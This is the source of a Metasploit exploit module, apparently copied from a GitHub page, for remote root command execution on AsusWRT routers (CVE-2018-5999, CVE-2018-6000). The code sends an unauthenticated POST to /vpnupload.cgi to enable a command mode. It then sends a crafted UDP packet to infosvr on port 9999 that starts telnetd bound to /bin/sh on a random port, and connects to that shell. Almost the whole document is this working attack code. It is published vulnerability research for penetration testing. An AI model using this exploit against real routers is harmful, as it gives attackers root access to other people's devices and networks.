-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
asuswrt_lan_rce.rb
132 lines (115 loc) · 5.13 KB
/
asuswrt_lan_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
'Description' => %q{
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
perform a POST in certain cases. This can be combined with another vulnerability in
the VPN configuration upload routine that sets NVRAM configuration variables directly
from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to infosvr, which is running
on port UDP 9999 to directly execute commands as root.
This exploit leverages that to start telnetd in a random port, and then connects to it.
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],
['CVE', '2018-5999'],
['CVE', '2018-6000']
],
'Targets' =>
[
[ 'AsusWRT < v3.0.0.4.384.10007',
{
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => '2018-01-22',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9999)
])
register_advanced_options(
[
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
])
end
def exploit
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
post_data = Rex::MIME::Message.new
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => "/vpnupload.cgi",
'method' => 'POST',
'rport' => datastore['ASUSWRTPORT'],
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res and res.code == 200
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
else
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
end
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
r = Random.new
ibox_comm_pkt_hdr_ex =
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
r.bytes(4) + # Info, don't know what this is
r.bytes(6) + # MAC address
r.bytes(32) # Password
telnet_port = rand((2**16)-1024)+1024
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
pkt_syscmd =
[cmd.length,0x00].pack('C*') + # cmd length
cmd # our command
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
connect_udp
udp_sock.put(pkt_final) # we could process the response, but we don't care
disconnect_udp
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
sleep(10)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... try again?")
end
end